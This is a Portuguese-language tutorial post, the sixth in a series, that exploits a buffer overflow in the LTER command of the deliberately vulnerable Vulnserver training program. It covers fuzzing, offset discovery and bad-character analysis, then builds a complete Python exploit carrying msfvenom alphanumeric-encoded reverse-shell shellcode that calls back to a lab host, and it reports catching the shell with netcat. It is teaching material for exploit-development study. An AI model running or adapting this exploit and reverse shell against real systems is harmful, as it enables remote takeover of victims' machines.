Home Windows Vulnserver Buffer Overflow - Parte 6 Badchars e Conclusão
Post
Cancel

Windows Vulnserver Buffer Overflow - Parte 6 Badchars e Conclusão

COMANDO LTER

O comando LTER, assim como os demais, recebe um argumento e dá uma resposta. Neste comando, temos uma situação parecida com as anteriores, porém encontramos uma situação problema com badchars.

Enumaração do comando.

FUZZING

Vamos reaproveitar nosso segundo script de fuzzing e adaptá-lo para o comando LTER.

fuzzing2.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/python3

from boofuzz import *
import time

def get_banner(target, my_logger, session, *args, **kwargs):
    banner_template = b"Welcome to Vulnerable Server! Enter HELP for help."
    try:
        banner = target.recv(1024)
    except:
        print("Nao foi possivel a conexao.")
        exit(1)

    my_logger.log_check("Recebendo banner...")
    if banner_template in banner:
        my_logger.log_pass("Banner recebido!")
    else:
        my_logger.log_fail("Banner nao recebido")
        print("Banner nao recebido, saindo...")
        exit(1)

def main():
    session = Session(
            sleep_time = 1,
            target = Target(
                connection=SocketConnection("192.168.1.30", 9999, proto='tcp')
                ),
            )
    s_initialize(name="Request")
    with s_block("Host-Line"):
        s_static('LTER', name="command name")
        s_delim(" ")
        s_string("FUZZ", name="comando da variavel")
        s_delim("\r\n")

    session.connect(s_get("Request"), callback=get_banner)
    session.fuzz()

if __name__ == "__main__":
    main()

Enumaração do comando.

Causamos um crash com o envio de 10.007 bytes constituidos de “/.”, como sabemos que esta quantia foi exagerada das ultimas vezes, vamos iniciar o esboço do exploit com um buffer de 3.000 bytes e monitorar.

xpllter.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/python3

import socket

# variaveis de conexao
ip = "192.168.1.30"
porta = 9999

# variaveis de payoad
offset = 3000

# payload
payload = b"LTER /."
payload += b"A" * offset

# criando conexao
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))
s.recv(1024)

print("Enviando payload...")

s.send(payload + b"\r\n")
s.close()

print("Payload enviado.")

Após iniciar o vulnserver no Immunity, vamos monitorar seu comportamento.

Enumaração do comando.

Causamos o crash e sobrescrevemos ESP e EIP, o próximo passo é descobrir o offset correto para atingirmos o EIP, vamos usar o msf-patter_create.

Enumaração do comando.

Vamos monitorar o envio com o Immunity.

Enumaração do comando.

Encontramos o offset 6f43386f, consultando no msf-patter_offset:

1
2
$ msf-pattern_offset -l 3000 -q 6f43386f 
[*] Exact match at offset 2005

Para atingir o EIP, precisamos de 2005 bytes, vamos atualizar nosso script e monitorar o comportamento.

xpllter.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/python3

import socket

# variaveis de conexao
ip = "192.168.1.30"
porta = 9999

# variaveis de payoad
offset = 3000

# payload
payload = b"LTER /."
payload += b"A" * 2005
payload += b"B" * 4
payload += b"C" * (offset - 2005 - 4)

# criando conexao
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))
s.recv(1024)

print("Enviando payload...")

s.send(payload + b"\r\n")
s.close()

print("Payload enviado.")

Enumaração do comando.

Conseguimos sobrescrever o EIP com nossos “B”, vamos encontrar um JMP ESP com o Immunity para direcionarmos a execução para o nosso buffer.

Enumaração do comando.

Encontramos nossos 9 endereços, no meu caso irei usar o 625011d3, lembrando que deve estar em little indian, ficando \xd3\x11\x50\x62.

Vamos atualizar o script e monitorar com o Immunity:

xpllter.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/python3

import socket

# variaveis de conexao
ip = "192.168.1.30"
porta = 9999

# variaveis de payoad
offset = 3000

# payload
payload = b"LTER /."
payload += b"A" * 2005
payload += b"\xd3\x11\x50\x62"
payload += b"C" * (offset - 2005 - 4)

# criando conexao
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))
s.recv(1024)

print("Enviando payload...")

s.send(payload + b"\r\n")
s.close()

print("Payload enviado.")

Enumaração do comando.

Desta vez, algo deu errado.

Podemos observar duas coisas desta imagem:

  1. O ESP não foi sbrescrito;
  2. O programa alterou nosso endereço de retorno de 625011d3 para 62501109.

Isto pode nos indicar um problema de badchars.

PROCURANDO BADCHARS

Enumaração do comando.

Se observarmos esta imagem, podemos ver que o vulnerver trabalha com strings encodadas em ANSI. Estes caracteres tem o tamanho de 1 byte e vão de 0x00 a 0xff, ou seja, 256 possibilidades.

Precisamos encontrar quais destes são aceitos pelo vulnserver. Vamos criar uma string de badchars e enviar em nosso script.

1
2
$ badchars 
\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

xpllter.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/python3

import socket

# variaveis de conexao
ip = "192.168.1.30"
porta = 9999

# variaveis de payoad
offset = 3000

badchars = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

# payload
payload = b"LTER /."
payload += badchars
payload += bB * 4
#payload += b"A" * (2005 - len(badchars))
payload += b"\xd3\x11\x50\x62"
payload += b"C" * (offset - 2005 - 4)

# criando conexao
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))
s.recv(1024)

print("Enviando payload...")

s.send(payload + b"\r\n")
s.close()

print("Payload enviado.")

Monitorando com Immunity:

Enumaração do comando.

Ao seguirmos o dump do ESP, podemos ver que nossos caracteres seguiram normalmente do 0x01 até 0x7f, a partir daí, o vulnserver começou a substituir nossos caracteres por outros, o 0x80 por 0x01, o 0x81 por 0x02 e assim por diante.

Isso explica por que o 0xd3 do nosso JMP ESP foi substituído por 0x09. O que significa que temos uma quantidade limitadíssima de 127 caracteres para fazer todo nosso exploit.

Precisamos continuar, nosso JMP ESP não funcionou, mas podemos adicionar o comando “ascii” à nossa pesquisa no Immunity, para tentar encontrar um JMP ESP que contenha apensas caracteres ANSI.

Enumaração do comando.

Temos dois endereços, que por sinal estão na essfunc.dll que acompanha o vulnserver. No meu caso, vou utilizar o 0x62501203.

Atualizando script.

xpllter.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/python3

import socket

# variaveis de conexao
ip = "192.168.1.30"
porta = 9999

# variaveis de payoad
offset = 3000

# payload
payload = b"LTER /."
payload += b"A" * 2005
payload += b"\x03\x12\x50\x62"
payload += b"C" * (offset - 2005 - 4)

# criando conexao
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))
s.recv(1024)

print("Enviando payload...")

s.send(payload + b"\r\n")
s.close()

print("Payload enviado.")

Vamos inserir um breakpoint em nosso endereço de retorno e monitorar com Immunity.

Enumaração do comando.

Caímos exatamente em cima do nosso buffer de “C”.

Podemos criar nosso shellcode, porém, temos uma limitação de caracteres muito grande.

Por sorte, a suite Metasploit trabalha com vários tipos de encoders, um deles é o x86/alpha_mixed que faz a transcrição do nosso shellcode para bytes alfa numéricos, mais sobre o encode aqui.

Vamos gerar nosso shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
$ msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.17 lport=8443 exitfunc=thread -e x86/alpha_mixed -b '\x00' bufferregister=esp -f py -v shellcode
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 702 (iteration=0)
x86/alpha_mixed chosen with final size 702
Payload size: 702 bytes
Final size of py file: 3913 bytes
shellcode =  b""
shellcode += b"\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49"
shellcode += b"\x49\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a"
shellcode += b"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51"
shellcode += b"\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
shellcode += b"\x58\x50\x38\x41\x42\x75\x4a\x49\x69\x6c\x68"
shellcode += b"\x68\x6f\x72\x73\x30\x47\x70\x53\x30\x53\x50"
shellcode += b"\x6b\x39\x5a\x45\x64\x71\x4b\x70\x30\x64\x6e"
shellcode += b"\x6b\x52\x70\x76\x50\x4e\x6b\x31\x42\x54\x4c"
shellcode += b"\x6c\x4b\x53\x62\x35\x44\x4c\x4b\x42\x52\x57"
shellcode += b"\x58\x64\x4f\x4e\x57\x72\x6a\x34\x66\x30\x31"
shellcode += b"\x39\x6f\x4c\x6c\x55\x6c\x53\x51\x61\x6c\x66"
shellcode += b"\x62\x66\x4c\x51\x30\x79\x51\x68\x4f\x34\x4d"
shellcode += b"\x43\x31\x48\x47\x39\x72\x68\x72\x32\x72\x76"
shellcode += b"\x37\x4c\x4b\x62\x72\x32\x30\x6e\x6b\x31\x5a"
shellcode += b"\x55\x6c\x6e\x6b\x72\x6c\x64\x51\x42\x58\x49"
shellcode += b"\x73\x37\x38\x66\x61\x78\x51\x36\x31\x6e\x6b"
shellcode += b"\x63\x69\x77\x50\x36\x61\x79\x43\x4c\x4b\x62"
shellcode += b"\x69\x72\x38\x68\x63\x55\x6a\x51\x59\x4e\x6b"
shellcode += b"\x64\x74\x4e\x6b\x67\x71\x78\x56\x70\x31\x79"
shellcode += b"\x6f\x4c\x6c\x6a\x61\x4a\x6f\x74\x4d\x66\x61"
shellcode += b"\x7a\x67\x76\x58\x39\x70\x44\x35\x6c\x36\x34"
shellcode += b"\x43\x31\x6d\x39\x68\x47\x4b\x43\x4d\x76\x44"
shellcode += b"\x51\x65\x68\x64\x30\x58\x4c\x4b\x66\x38\x36"
shellcode += b"\x44\x77\x71\x79\x43\x75\x36\x6c\x4b\x54\x4c"
shellcode += b"\x72\x6b\x4c\x4b\x56\x38\x77\x6c\x75\x51\x79"
shellcode += b"\x43\x4e\x6b\x45\x54\x6c\x4b\x46\x61\x5a\x70"
shellcode += b"\x4d\x59\x63\x74\x46\x44\x64\x64\x63\x6b\x61"
shellcode += b"\x4b\x70\x61\x72\x79\x73\x6a\x73\x61\x49\x6f"
shellcode += b"\x49\x70\x43\x6f\x53\x6f\x71\x4a\x4e\x6b\x34"
shellcode += b"\x52\x6a\x4b\x6e\x6d\x61\x4d\x71\x78\x76\x53"
shellcode += b"\x64\x72\x63\x30\x73\x30\x30\x68\x44\x37\x73"
shellcode += b"\x43\x66\x52\x61\x4f\x53\x64\x71\x78\x30\x4c"
shellcode += b"\x33\x47\x61\x36\x45\x57\x79\x6f\x6e\x35\x6c"
shellcode += b"\x78\x6a\x30\x36\x61\x53\x30\x75\x50\x75\x79"
shellcode += b"\x6a\x64\x53\x64\x30\x50\x71\x78\x67\x59\x6d"
shellcode += b"\x50\x32\x4b\x43\x30\x4b\x4f\x5a\x75\x36\x30"
shellcode += b"\x56\x30\x52\x70\x42\x70\x71\x50\x52\x70\x71"
shellcode += b"\x50\x62\x70\x52\x48\x5a\x4a\x64\x4f\x6b\x6f"
shellcode += b"\x4d\x30\x59\x6f\x49\x45\x7a\x37\x50\x6a\x56"
shellcode += b"\x65\x50\x68\x4b\x70\x4e\x48\x57\x71\x37\x61"
shellcode += b"\x75\x38\x57\x72\x37\x70\x71\x30\x69\x6b\x4c"
shellcode += b"\x49\x4d\x36\x63\x5a\x44\x50\x66\x36\x66\x37"
shellcode += b"\x70\x68\x6f\x69\x6c\x65\x64\x34\x43\x51\x59"
shellcode += b"\x6f\x68\x55\x4f\x75\x79\x50\x61\x64\x36\x6c"
shellcode += b"\x79\x6f\x30\x4e\x35\x58\x30\x75\x38\x6c\x75"
shellcode += b"\x38\x4a\x50\x58\x35\x6e\x42\x61\x46\x49\x6f"
shellcode += b"\x48\x55\x42\x48\x62\x43\x32\x4d\x63\x54\x65"
shellcode += b"\x50\x4d\x59\x69\x73\x56\x37\x33\x67\x53\x67"
shellcode += b"\x34\x71\x68\x76\x71\x7a\x47\x62\x42\x79\x61"
shellcode += b"\x46\x49\x72\x59\x6d\x51\x76\x38\x47\x57\x34"
shellcode += b"\x56\x44\x35\x6c\x37\x71\x65\x51\x6e\x6d\x53"
shellcode += b"\x74\x65\x74\x44\x50\x6f\x36\x45\x50\x31\x54"
shellcode += b"\x31\x44\x76\x30\x30\x56\x63\x66\x56\x36\x42"
shellcode += b"\x66\x46\x36\x32\x6e\x32\x76\x72\x76\x71\x43"
shellcode += b"\x32\x76\x31\x78\x71\x69\x4a\x6c\x77\x4f\x4b"
shellcode += b"\x36\x49\x6f\x58\x55\x6d\x59\x39\x70\x42\x6e"
shellcode += b"\x52\x76\x47\x36\x49\x6f\x30\x30\x42\x48\x37"
shellcode += b"\x78\x6b\x37\x37\x6d\x71\x70\x79\x6f\x78\x55"
shellcode += b"\x4f\x4b\x6b\x50\x67\x6d\x56\x4a\x77\x7a\x75"
shellcode += b"\x38\x49\x36\x4c\x55\x6f\x4d\x6d\x4d\x49\x6f"
shellcode += b"\x6a\x75\x37\x4c\x34\x46\x53\x4c\x35\x5a\x4d"
shellcode += b"\x50\x49\x6b\x4b\x50\x53\x45\x53\x35\x6d\x6b"
shellcode += b"\x67\x37\x42\x33\x30\x72\x72\x4f\x63\x5a\x55"
shellcode += b"\x50\x53\x63\x6b\x4f\x6b\x65\x41\x41"

Nosso shellcode ficou consideravelmente maior devido ao encode, mas temos espaço de sobra.

Note também que utilizei a opção “bufferregister=esp”, isso por que sem esta opção, o shellcode se inicia com os opcodes “\x89\xe2\xdb\xdb\xd9\x72”. Estes opcodes são necessários para encontrar a posição absoluta do shellcode na memória.

Como nós já sabemos que nosso shellcode estará em ESP, podemos apontá-lo na criação do shellcode, evitando os badchars.

Vamos atualizar o exploit.

xpllter.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#!/usr/bin/python3

import socket

# variaveis de conexao
ip = "192.168.1.30"
porta = 9999

# variaveis de payoad
offset = 3000

shellcode =  b""
shellcode += b"\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49"
shellcode += b"\x49\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a"
shellcode += b"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51"
shellcode += b"\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
shellcode += b"\x58\x50\x38\x41\x42\x75\x4a\x49\x59\x6c\x48"
shellcode += b"\x68\x4f\x72\x65\x50\x67\x70\x47\x70\x53\x50"
shellcode += b"\x4d\x59\x6b\x55\x55\x61\x79\x50\x72\x44\x4e"
shellcode += b"\x6b\x30\x50\x70\x30\x4c\x4b\x30\x52\x56\x6c"
shellcode += b"\x4e\x6b\x31\x42\x64\x54\x6e\x6b\x70\x72\x71"
shellcode += b"\x38\x36\x6f\x78\x37\x32\x6a\x55\x76\x56\x51"
shellcode += b"\x6b\x4f\x6c\x6c\x65\x6c\x71\x71\x73\x4c\x47"
shellcode += b"\x72\x36\x4c\x77\x50\x5a\x61\x5a\x6f\x34\x4d"
shellcode += b"\x57\x71\x5a\x67\x6d\x32\x48\x72\x53\x62\x56"
shellcode += b"\x37\x4c\x4b\x53\x62\x54\x50\x4c\x4b\x32\x6a"
shellcode += b"\x55\x6c\x6e\x6b\x42\x6c\x74\x51\x30\x78\x6a"
shellcode += b"\x43\x57\x38\x56\x61\x4a\x71\x36\x31\x6c\x4b"
shellcode += b"\x51\x49\x75\x70\x35\x51\x6e\x33\x4c\x4b\x37"
shellcode += b"\x39\x64\x58\x49\x73\x57\x4a\x73\x79\x6e\x6b"
shellcode += b"\x65\x64\x4e\x6b\x77\x71\x6b\x66\x50\x31\x4b"
shellcode += b"\x4f\x6e\x4c\x59\x51\x5a\x6f\x54\x4d\x73\x31"
shellcode += b"\x4a\x67\x64\x78\x4b\x50\x42\x55\x6a\x56\x74"
shellcode += b"\x43\x51\x6d\x78\x78\x37\x4b\x33\x4d\x65\x74"
shellcode += b"\x43\x45\x4d\x34\x30\x58\x4e\x6b\x36\x38\x51"
shellcode += b"\x34\x53\x31\x59\x43\x73\x56\x6c\x4b\x54\x4c"
shellcode += b"\x50\x4b\x6c\x4b\x56\x38\x65\x4c\x33\x31\x4e"
shellcode += b"\x33\x6e\x6b\x64\x44\x4e\x6b\x53\x31\x4a\x70"
shellcode += b"\x6e\x69\x50\x44\x35\x74\x67\x54\x73\x6b\x31"
shellcode += b"\x4b\x53\x51\x66\x39\x72\x7a\x53\x61\x49\x6f"
shellcode += b"\x39\x70\x61\x4f\x31\x4f\x62\x7a\x4e\x6b\x62"
shellcode += b"\x32\x68\x6b\x4e\x6d\x73\x6d\x50\x68\x45\x63"
shellcode += b"\x70\x32\x53\x30\x67\x70\x50\x68\x73\x47\x70"
shellcode += b"\x73\x75\x62\x33\x6f\x62\x74\x71\x78\x32\x6c"
shellcode += b"\x62\x57\x66\x46\x37\x77\x79\x6f\x69\x45\x6e"
shellcode += b"\x58\x6c\x50\x35\x51\x77\x70\x55\x50\x51\x39"
shellcode += b"\x7a\x64\x52\x74\x32\x70\x61\x78\x31\x39\x4d"
shellcode += b"\x50\x52\x4b\x33\x30\x4b\x4f\x5a\x75\x50\x50"
shellcode += b"\x30\x50\x30\x50\x36\x30\x73\x70\x72\x70\x37"
shellcode += b"\x30\x70\x50\x31\x78\x68\x6a\x54\x4f\x79\x4f"
shellcode += b"\x39\x70\x79\x6f\x68\x55\x4e\x77\x62\x4a\x65"
shellcode += b"\x55\x75\x38\x69\x50\x79\x38\x36\x61\x64\x51"
shellcode += b"\x70\x68\x65\x52\x37\x70\x75\x70\x39\x6b\x4d"
shellcode += b"\x59\x48\x66\x70\x6a\x72\x30\x51\x46\x46\x37"
shellcode += b"\x53\x58\x7a\x39\x6c\x65\x50\x74\x51\x71\x79"
shellcode += b"\x6f\x6a\x75\x4f\x75\x4b\x70\x44\x34\x56\x6c"
shellcode += b"\x49\x6f\x30\x4e\x55\x58\x64\x35\x48\x6c\x31"
shellcode += b"\x78\x7a\x50\x6f\x45\x4c\x62\x76\x36\x4b\x4f"
shellcode += b"\x4a\x75\x71\x78\x35\x33\x52\x4d\x71\x74\x55"
shellcode += b"\x50\x4d\x59\x69\x73\x36\x37\x53\x67\x43\x67"
shellcode += b"\x70\x31\x68\x76\x73\x5a\x54\x52\x70\x59\x50"
shellcode += b"\x56\x39\x72\x69\x6d\x75\x36\x4a\x67\x37\x34"
shellcode += b"\x35\x74\x47\x4c\x77\x71\x65\x51\x4c\x4d\x31"
shellcode += b"\x54\x35\x74\x46\x70\x78\x46\x35\x50\x42\x64"
shellcode += b"\x66\x34\x70\x50\x32\x76\x42\x76\x36\x36\x50"
shellcode += b"\x46\x30\x56\x42\x6e\x73\x66\x32\x76\x51\x43"
shellcode += b"\x66\x36\x51\x78\x34\x39\x4a\x6c\x55\x6f\x4b"
shellcode += b"\x36\x69\x6f\x58\x55\x6e\x69\x4b\x50\x30\x4e"
shellcode += b"\x71\x46\x42\x66\x49\x6f\x46\x50\x50\x68\x46"
shellcode += b"\x68\x4f\x77\x45\x4d\x71\x70\x6b\x4f\x38\x55"
shellcode += b"\x4d\x6b\x49\x70\x45\x4d\x47\x5a\x76\x6a\x71"
shellcode += b"\x78\x6c\x66\x5a\x35\x6d\x6d\x6f\x6d\x69\x6f"
shellcode += b"\x4a\x75\x35\x6c\x37\x76\x71\x6c\x55\x5a\x4f"
shellcode += b"\x70\x4b\x4b\x39\x70\x51\x65\x37\x75\x6f\x4b"
shellcode += b"\x67\x37\x76\x73\x72\x52\x72\x4f\x63\x5a\x33"
shellcode += b"\x30\x53\x63\x79\x6f\x4b\x65\x41\x41"


# payload
payload = b"LTER /."
payload += b"A" * 2005
payload += b"\x03\x12\x50\x62"
payload += shellcode
payload += b"C" * (offset - 2005 - 4 - len(shellcode))

# criando conexao
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))
s.recv(1024)

print("Enviando payload...")

s.send(payload + b"\r\n")
s.close()

print("Payload enviado.")

Agora vamos setar o netcat para ouvir na porta 8443 e iniciar o vulnserver fora do Immunity.

Enumaração do comando.

E conseguimos nosso shell.

Neste comando, tivemos dois grandes problemas: o tamanho do buffer em que caímos, nos obrigando a dar um salto na memória, e uma quantidade limitadíssima de caracterese úteis, nos obrigando a encoder nosso shellcode.

Em próximas atualizações, exploraremos técnicas mais complexas para explorar buffer overflow.

CONCLUSÃO

Neste estudo, pudemos avaliar o programa vulnserver desde seu código fonte, porém em situações reais dificilmente teremos chance de analisar o codigo fonte de um programa.

Porém, com as técnicas apresentadas neste artigo, é possível fazer o debbug de um programa e encontrar suas vulnerabilidades. Assim como criar estratégias para explorá-las.

Além das formas apresentadas neste estudo, existem várias outras técnicas mais complexas para explorar as mesmas vulnerabilidades, podemos futuramente adicionar novas técnicas a este estudo para torná-lo mais competo.

Em todos os exploits utilizados neste estudo, utilizamos um reverse shell, mas tendo em vista que conseguimos controlar o programa a nível de atingir o SO, podemos enviar qualquer outro exploit cujo SO possa ser disponível, tais como bind shell, execussão de comandos, DoS, entre outros.

No mais, muito obrigado por acompanhar esta PoC, espero que tenha sido útil.

This post is licensed under CC BY 4.0 by the author.